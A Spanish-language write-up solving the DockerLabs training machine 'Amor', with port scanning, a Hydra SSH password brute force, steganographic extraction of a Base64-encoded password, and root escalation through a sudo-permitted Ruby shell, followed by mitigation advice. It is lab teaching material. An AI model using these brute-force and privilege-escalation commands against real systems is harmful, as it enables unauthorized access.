Skip to content

Amor

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina Amor, desarrollada por Romabri para la plataforma DockerLabs y clasificada como fácil.

El objetivo es exponer un análisis claro, ordenado y técnicamente fundamentado, abordando:

  • Identificación de vectores de ataque iniciales.
  • Explotación basada en credenciales expuestas y técnicas de fuerza bruta.
  • Acceso a información oculta mediante esteganografía.
  • Escalada de privilegios mediante abuso de binarios delegados con sudo.

La metodología empleada se divide en tres fases principales:

  1. Reconocimiento: Identificación de puertos abiertos y análisis del sitio web.
  2. Explotación: Obtención de credenciales y acceso inicial al sistema mediante SSH.
  3. Escalada de privilegios: Transición entre usuarios y obtención de acceso root.

Todas las pruebas se ejecutaron dentro del entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreAmor
AutorRomabri
DificultadFácil
Fecha26/04/2024
PlataformaDockerLabs

Descomprimir la máquina:

Ventana de terminal
unzip Amor.zip

Iniciar el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh Amor.tar

El script proporciona la IP interna que utilizaremos durante todo el análisis:

IP asignada


Ventana de terminal
mkdir -p Amor/{content,exploits,nmap,gobuster,scripts}
cd Amor

Mantener un entorno ordenado permite registrar adecuadamente cada fase y facilita la reproducibilidad del proceso.


Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos

La presencia de SSH y un sitio web sugiere la posibilidad de exposición de credenciales en el contenido web.


Ventana de terminal
gobuster dir \
-u http://172.18.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

El escaneo no reveló rutas adicionales relevantes. El único recurso accesible fue el index:

Index

Analizando el código y contenido de la página se identifica una pista directa sobre un usuario del sistema:

important info

La mención al usuario carlota abre la posibilidad de un ataque de fuerza bruta sobre el servicio SSH.


Con un posible usuario identificado, se procede a realizar un ataque de fuerza bruta con Hydra:

Ventana de terminal
hydra -l carlota -P rockyou.txt ssh://172.17.0.2

hydra result

Hydra confirma credenciales válidas, permitiendo el acceso al sistema:

ssh login


Se identifica una imagen sospechosa en:

/Desktop/fotos/vacaciones/imagen.jpg

imagen

La imagen se descarga para su análisis:

Ventana de terminal
scp carlota@172.17.0.2:/Desktop/fotos/vacaciones/imagen.jpg /content

El análisis con exiftool no revela metadatos útiles. Luego se utiliza steghide para detectar contenido oculto:

Ventana de terminal
steghide info imagen.jpg

steghide info

Se extrae el archivo embebido:

secret.txt

El contenido aparece codificado en Base64, por lo que se decodifica:

decode base64

Esto proporciona la contraseña del usuario oscar, permitiendo cambiar de usuario:

su oscar


Salida de:

Ventana de terminal
sudo -l

oscar sudo -l

El usuario oscar puede ejecutar ruby como root sin contraseña. Esto permite ejecutar directamente una shell privilegiada:

Ventana de terminal
sudo ruby -e 'exec "/bin/sh"'

Resultado:

user root

Acceso root obtenido correctamente.


  • Exposición de información sensible en el sitio web (nombre de usuario real).
  • Ausencia de mecanismos de protección ante fuerza bruta en SSH.
  • Archivos con información oculta sin controles adecuados.
  • Delegación insegura de permisos sudo a binarios interpretables.
  • Falta de restricciones en el uso de herramientas de esteganografía.

  • Implementar políticas de bloqueo ante intentos de autenticación fallidos.
  • Evitar incluir información sensible en contenido público del sitio web.
  • Restringir permisos sobre archivos que contengan datos confidenciales.
  • Evitar delegar permisos sudo a intérpretes como Ruby, Python o Bash.
  • Configurar autenticación multifactor y contraseñas robustas.
  • Mantener una supervisión activa de registros y accesos SSH.